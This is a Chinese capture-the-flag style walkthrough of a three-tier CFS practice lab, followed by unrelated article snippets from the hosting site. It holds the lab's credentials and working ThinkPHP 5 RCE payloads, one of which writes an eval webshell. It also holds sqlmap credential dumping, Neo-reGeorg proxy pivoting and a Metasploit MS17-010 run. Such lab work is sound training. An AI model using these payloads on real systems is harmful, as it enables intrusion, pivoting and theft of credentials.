CFS三层靶机内网渗透

CFS三层靶机内网渗透

  • 一、靶场搭建
    • 1.基础参数信息
    • 2.靶场搭建
      • 2.1网卡配置
      • 2.2Target1配置
        • 2.2.1 网卡配置
        • 2.2.2 Target1 BT配置
      • 2.3Target2配置
        • 2.3.1 网卡配置
        • 2.3.2 Target2 BT配置
      • 2.4Target3配置
  • 二、内网渗透
    • Target1
      • 1.1信息收集
        • 1.1.1IP收集
        • 1.1.2端口收集
        • 1.1.3目录收集
      • 1.2 webshell获取
        • 1.2.1手工POC注入
        • 1.2.2蚁剑验证
      • 1.3 Target1本机信息收集
        • 1.3.1找flag
        • 1.3.2 收集服务、端口、路由、ip、网段、内核等
        • 1.3.3内网存活探测
    • Target2
      • 2.1信息收集
        • 2.1.1 端口收集
        • 2.1.2 目录收集
      • 2.2webshell获取
        • 2.2.1 后台获取
        • 2.2.2 sql注入
        • 2.2.3 拿shell
      • 2.3 Target2本机信息收集
        • 2.3.1找flag
        • 2.3.2 收集服务、端口、路由、ip、网段、内核等
      • 2.4 搭建二层代理
    • Target3

一、靶场搭建

1.基础参数信息

网段:
Kali:       nat
Target1:    nat + 22
Target2:    22 + 33
Target3:    33

三个靶机密码:
操作系统:root
登录密码:teamssix.com

Target1  BT(宝塔后台)
地址:http://x.x.x.x:8888/a768f109/    #此处为后台地址
账号:eaj3yhsl密码:41bb8fee

Target2  BT(宝塔后台)
地址:http://x.x.x.x:8888/2cc52ec0/    #此处为后台地址
账号:xdynr37d 
密码:123qwe.. 


思维导图
在这里插入图片描述
在这里插入图片描述

2.靶场搭建

2.1网卡配置

新导入两张网卡VMnet2VMnet3,配置网段192.168.22.0/24192.168.33.0/24
在这里插入图片描述

2.2Target1配置

2.2.1 网卡配置

VMnet8VMnet2 即NAT+22段
在这里插入图片描述

2.2.2 Target1 BT配置

Target1 BT
后台地址:http://192.168.231.128:8888/a768f109/
账号:eaj3yhsl
密码:41bb8fee
在这里插入图片描述
配置添加域名192.168.231.128192.168.22.128,使其可以访问
在这里插入图片描述

2.3Target2配置

2.3.1 网卡配置

VMnet2VMnet3 即22+33段
在这里插入图片描述

2.3.2 Target2 BT配置

暂时先加入NAT网卡,以配置宝塔后台,配置完成后,移除NAT网卡
在这里插入图片描述
从kali中可以看出新加入的网卡地址为192.168.231.129
在这里插入图片描述
Target2 BT
后台地址:http://192.168.231.129:8888/2cc52ec0/
账号:xdynr37d
密码:123qwe..
在这里插入图片描述
配置添加域名192.168.22.129192.168.22.128,使其可以访问
在这里插入图片描述

最后删除刚刚添加的NAT网卡

2.4Target3配置

网卡配置:VMnet3 即33段,其他的就没什么了
在这里插入图片描述

接下来就可以开始内网渗透了,现在忘掉配置是的网卡信息,IP信息,后台信息等等,开始全真模拟

二、内网渗透

Target1

1.1信息收集

1.1.1IP收集
arp-scan -l

在这里插入图片描述

1.1.2端口收集
nmap -sV -sS -T4  192.168.231.128 -p 1-65535

在这里插入图片描述

1.1.3目录收集
dirb http://192.168.231.128/
或者
dirsearch -u http://192.168.231.128

在这里插入图片描述
在这里插入图片描述

1.2 webshell获取

根据收集到的端口、IP及目录信息等进行访问

通过访问80端口,以及Wappalyzer插件,透露出他的一些信息
在这里插入图片描述
接下来尝试用goby扫描,得知存在着两个可能的漏洞,这也可以通过网上搜索ThinkPHP V5历史版本漏洞得知
在这里插入图片描述
根据上述漏洞,可进行验证,验证方法多种1.手工POC验证,2.ThinkPHP V5一键工具等

在goby中漏洞验证也是成功的,说明漏洞可以利用

ThinkPHP 5.0.23 Remote Code Execution Vulnerability
在这里插入图片描述

ThinkPHP 5.x RCE
在这里插入图片描述

1.2.1手工POC注入

POC:输入系统命令: whoami

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入图片描述

POC:通过替换参数值,还可以将php代码写入文件, 此处我们写一个phpinfo

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=phpinfo.php&vars[1][]=<?php phpinfo(); ?>

在这里插入图片描述
然后在网页查看,发现可行,那么可以尝试构建webshell
在这里插入图片描述

POC:写入webshell,如果有过滤还可以采取编码方式
在这写了一个简单的一句话木马

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['lll']);?>

在这里插入图片描述

1.2.2蚁剑验证

验证成功,在这里webshell就拿到了
在这里插入图片描述

1.3 Target1本机信息收集

1.3.1找flag
find / -name "flag.txt" 2>/dev/null

在这里插入图片描述

1.3.2 收集服务、端口、路由、ip、网段、内核等
查内核
uname -r
查ip
ifconfig
ip a
查端口
netstat -ntlp
查进程
ps -ef
查路由
route

翻翻目录、文件

在这里插入图片描述
在这里插入图片描述

1.3.3内网存活探测

方法一、允许上传的情况下上传工具(/tmp等有权限的目录中)在T1上做信息收集fscan等工具直接上传即可

方法二、直接通过正向代理工具neo-regroge建立socks通道,导入流量(无法使用icmp探测存活)上传tunnel文件,建立连接

neo-regeorg
搭建正向代理,不需要在对方服务器中额外开通端口,利用后端代码
下载地址:https://github.com/L-codes/Neo-reGeorg
Step 1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器

$ python neoreg.py generate -k password

    [+] Create neoreg server files:
       => neoreg_servers/tunnel.jsp
       => neoreg_servers/tunnel.jspx
       => neoreg_servers/tunnel.ashx
       => neoreg_servers/tunnel.aspx
       => neoreg_servers/tunnel.php
       => neoreg_servers/tunnel.go

上传对应后缀到web服务器
在这里插入图片描述

Step 2. 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理

$ python3 neoreg.py -k password -u http://xx/tunnel.php
+------------------------------------------------------------------------+
  Log Level set to [DEBUG]
  Starting socks server [127.0.0.1:1080]
  Tunnel at:
    http://xx/tunnel.php
+------------------------------------------------------------------------+

在这里插入图片描述

vi /etc/proxychains4.conf

在这里插入图片描述

至此1层代理搭建成功

通过proxychains工具可连接当前的socks代理工具,proxychains4配置代理后可将kali的流量通过T1服务器作为跳板进行扫描

代理插件使用
在这里插入图片描述

Target2

通过上述信息收集手段,获得开启的端口等,搭建代理访问
在这里插入图片描述

查找当前cms的历史漏洞,若无历史漏洞,下下策为找源代码审计,大部分系统不开源故不存在代码审计过程;

2.1信息收集

2.1.1 端口收集
 proxychains nmap -Pn -sT 192.168.22.129 

在这里插入图片描述

2.1.2 目录收集
dirsearch -u http://192.168.22.129/ --proxy socks5://192.168.231.135:1000

在这里插入图片描述

2.2webshell获取

2.2.1 后台获取

通过扫出来的目录找到/robots.txt,而/robots.txt给出了两个路径
Disallow: /admini/
Disallow: /index.php?r=admini*

在这里插入图片描述
sql注入点

<!-- Hint:SQL注入点:/index.php?r=vul&keyword=1>

在这里插入图片描述

后台获取
根据上述sql注入点以及robots.txt找后台地址
在这里插入图片描述

2.2.2 sql注入
--proxy代理参数
--dbs 所有库
--tables 某个库中的所有表
--columns 上一个表中的所有字段

1.数据库查询

sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch --dbs --proxy=socks5://192.168.231.135:1000

在这里插入图片描述
2.查询表

sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms --tables  --proxy=socks5://192.168.231.135:1000

在这里插入图片描述

3.查询字段

sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin --columns  --proxy=socks5://192.168.231.135:1000

在这里插入图片描述

4.查询内容

sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin -C username,password  --dump --proxy=socks5://192.168.231.135:1000

在这里插入图片描述
后台账号密码

+----------+-------------------------------------------+
| username | password                                  |
+----------+-------------------------------------------+
| admin    | 46f94c8de14fb36680850768ff1b7f2a (123qwe) |
+----------+-------------------------------------------+

一登陆就看见一个flag
在这里插入图片描述

2.2.3 拿shell

登录后:重点关注上传(头像、文件、编辑器)、导出(文件、sql语句)、自定义模版(网站结构、默认页面更改),ssrf

登入后台后,根据历史漏洞提示后台模板存在一个rce问题
在这里插入图片描述

在页面中插入拿shell的语句
在这里插入图片描述
代理设置
在这里插入图片描述
蚁剑连接
在这里插入图片描述

2.3 Target2本机信息收集

重复T1信息收集的步骤对T2进行操作即可

2.3.1找flag
find / -name "flag.txt" 2>/dev/null

在这里插入图片描述

2.3.2 收集服务、端口、路由、ip、网段、内核等
查内核
uname -r
查ip
ifconfig
ip a
查端口
netstat -ntlp
查进程
ps -ef
查路由
route

翻翻目录、文件

在这里插入图片描述

2.4 搭建二层代理

同理上传tunnel文件至T2通过T1建立socks端口,此时会在T1上生成代理通道

T1具备python环境
在这里插入图片描述
在T1中上传Neo-reGeorg-master并解压

unzip Neo-reGeorg-master.zip

在这里插入图片描述

在T2中上传tunnel文件
在这里插入图片描述

代理开启:

python neoreg.py -k password -u http://192.168.22.129/tunnel.php -l 0.0.0.0 -p 2000

在这里插入图片描述

Target3

以T2为跳板访问T3
以T2为跳板

明确内网33.33服务器上存在两个可能有漏洞的端口3389(cve-2019-0708)、445(ms17-010)

proxychains nmap -Pn -sT -sV 192.168.33.33 -p 445,3389

在这里插入图片描述

proxychains msfconsole    
search ms17_010

在这里插入图片描述

use 1
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33

在这里插入图片描述

最后run

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/220117.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

用 taichi 写个软渲染器

用 taichi 写个软渲染器 What 起点是&#xff1a;可以 setup 一个画布&#xff0c;drawPixel(x, y, color)&#xff0c;然后渲染到 GUI 或者 .png目标是&#xff1a;加载 obj 模型文件和 .tga 贴图文件&#xff0c;并渲染出来使用 taichi 作为 SIMD 加速 backend复现一些 RTR…

【4】PyQt输入框

1. 单行文本输入框 QLineEdit控件可以输入单行文本 from PyQt5.QtWidgets import QApplication, QWidget, QLineEdit, QVBoxLayout from PyQt5.QtCore import * from PyQt5.QtGui import QIcon import sysdef init_widget(w: QWidget):# 修改窗口标题w.setWindowTitle(单行输…

Python (一) 操作Mysql

程序员的公众号&#xff1a;源1024&#xff0c;获取更多资料&#xff0c;无加密无套路&#xff01; 最近整理了一份大厂面试资料《史上最全大厂面试题》&#xff0c;Springboot、微服务、算法、数据结构、Zookeeper、Mybatis、Dubbo、linux、Kafka、Elasticsearch、数据库等等 …

Google视频广告的格式和注意事项

随着互联网和移动设备的普及&#xff0c;视频广告成为了数字营销中重要的一环&#xff0c;Google作为全球最大的搜索引擎和广告平台之一&#xff0c;Google提供了广泛的视频广告服务&#xff0c;帮助企业推广产品以及品牌。那么Google视频广告的格式和注意事项是什么呢&#xf…

离线环境下使用百度地图(vue版)(展示自己的地图瓦片)3.0版本api

1.下载自己想要的地图网片 (1)瓦片图下载 提取百度网盘中文件&#xff0c;然后运行exe文件&#xff0c;选择要下载的层级及地区即可 百度网盘链接&#xff1a;https://pan.baidu.com/s/16sOJ9ws7HCgNH3EMf7Ejyg?pwd0q0e 提取码&#xff1a;0q0e (2)将瓦片图映射到网上 推荐使…

数电笔记之寄存器

数电 1 数字电路基础 1.2 二进制数据表达 1.2.1 二进制简介 1.2.2 用二进制表达文字 常用的中文字符集&#xff1a;GBK&#xff0c;UTF8 1.2.3 用二进制表达图片 图片像素化&#xff0c;像素数字化 1.2.4 用二进制表达声音 1.2.5 用二进制表达视频 1.3 数字电路 1.3…

mysql中year函数有什么用

YEAR()函数用于提取日期或日期时间值中的年份。可以用于提取DATE、DATETIME或TIMESTAMP列中的年份。 SELECT YEAR(date_column) FROM table;# 提取字符串中的数据SELECT YEAR(2023-07-19) FROM table_name;

day70

今日回顾 session 中间件 auth session Cookie虽然在一定程度上解决了“保持状态”的需求&#xff0c;但是由于Cookie本身最大支持4096字节&#xff0c;以及Cookie本身保存在客户端&#xff0c;可能被拦截或窃取&#xff0c;因此就需要有一种新的东西&#xff0c;它能支持更…

TsuKing: Coordinating DNS Resolvers and Queries into Potent DoS Amplifiers

目录 笔记后续的研究方向摘要引言之前的工作。我们的研究贡献 TsuKing: Coordinating DNS Resolvers and Queries into Potent DoS Amplifiers CCS 2023 笔记 本文介绍了一种名为 TsuKing 的新型 DNS 放大攻击。与以前利用单个DNS解析器的攻击不同&#xff0c;TsuKing协调多个…

MPC模型预测控制理论与实践

一、基本概念 最有控制的动机是在约束条件下达到最优的系统表现。 模型预测控制&#xff08;MPC&#xff0c;Model Predictive Control&#xff09;是通过模型来预测系统在某一未来时间段内的表现来进行优化控制&#xff0c;多用于数位控制&#xff0c;通常用离散型状态空间表…

树_二叉搜索树累加求和

//给出二叉 搜索 树的根节点&#xff0c;该树的节点值各不相同&#xff0c;请你将其转换为累加树&#xff08;Greater Sum Tree&#xff09;&#xff0c;使每个节点 node 的新值等于原树中大于或等于 // node.val 的值之和。 // // 提醒一下&#xff0c;二叉搜索树满足下列约束…

9.Unity搭建HTTP服务器

搭建HTTP服务器的几种方式 //1.使用别人做好的HTTP服务器软件&#xff0c;一般作为资源服务器时使用该方式&#xff08;学习阶段建议使用&#xff09; //2.自己编写HTTP服务器应用程序&#xff0c;一般作为Web服务器 或者 短链接游戏服务器时 使用该方式 使用别人做好的HTTP服…

ROS-ROS通信机制-服务通信

文章目录 一、服务通信基本知识二、自定义srv三、C实现四、Python实现 一、服务通信基本知识 服务通信也是ROS中一种极其常用的通信模式&#xff0c;服务通信是基于请求响应模式的&#xff0c;是一种应答机制。也即: 一个节点A向另一个节点B发送请求&#xff0c;B接收处理请求…

通过断点调试解决node 运行js程序直接退出(没有任何报错提示)的问题

现象&#xff1a; node运行程序直接退出&#xff0c;但是从echo $?的返回值可以知道&#xff1a; 一定出现了错误&#xff0c;但是没有显示出来 解决办法&#xff1a; 1. 使用node --inspect-brk 启动程序 然后在浏览器访问chrome://inspect 然后点击inspect 进行单步调试 …

软件设计之桥接模式

实现茶水间&#xff1a;茶可以分红茶和绿茶&#xff0c;每种茶又可以分大杯和中杯&#xff0c;现在你是服务员需要计算茶水的价格。 package Bridge;public class BlackTea implements TeaKind{private float redTeaPrice 2.0f;Overridepublic float price() {return redTeaPr…

“快慢指针”思想在物理或者逻辑循环中的应用

1 基础概念 1.1 什么是物理循环和逻辑循环&#xff1f; 物理循环是指物理索引访问顺序上相邻&#xff0c;逻辑上也相邻&#xff0c;比如循环链表&#xff0c;逻辑循环则指物理的索引上不一定相邻 1.2 快慢指针本质上可以解决逻辑循环问题&#xff0c;而物理循环也属于逻辑循…

【java】toString() 导致的 StackOverflowError 异常

这是怎么导致的呢&#xff1f; A 类属性包含着 B 类的引用 B 类属性包含着 A 类的引用 代码大概就是这样的&#xff1a; Data public class User{public String name;public Dog dog; }Data public class Dog{public String name;public User user; }User user new User()…

面试前自测题,接口自动化测试过程中怎么处理接口依赖?

面试的时候经常会被问到在接口自动化测试过程中怎么处理接口依赖&#xff1f; 首先我们要搞清楚什么是接口依赖。 01、什么是接口依赖 接口依赖指的是&#xff0c;在接口测试的过程中一个接口的测试经常需要依赖另一个或多个接口成功请求后的返回数据。 那怎么处理呢&#…

机器学习---使用 EM 算法来进行高斯混合模型的聚类

1. 指定k个高斯分布參数 导包 import math import copy import numpy as np import matplotlib.pyplot as pltisdebug False 全局变量 isdebug可以用来控制是否打印调试信息。当 isdebug 为 True 时&#xff0c;代码中的一些调试信 息将被打印出来&#xff0c;方便进行调试…

Kubernetes(k8s)访问不了Pod服务

在k8s集群部署java web应用的服务时&#xff0c;浏览器访问不了pod服务或linux终端curl http://192.168.138.112:30000即curl http://ip地址:端口号失败&#xff0c;如下图&#xff1a; 在网上找了很久的答案&#xff0c;最后还是没解决&#xff0c;后来突然想起来一直是在k8…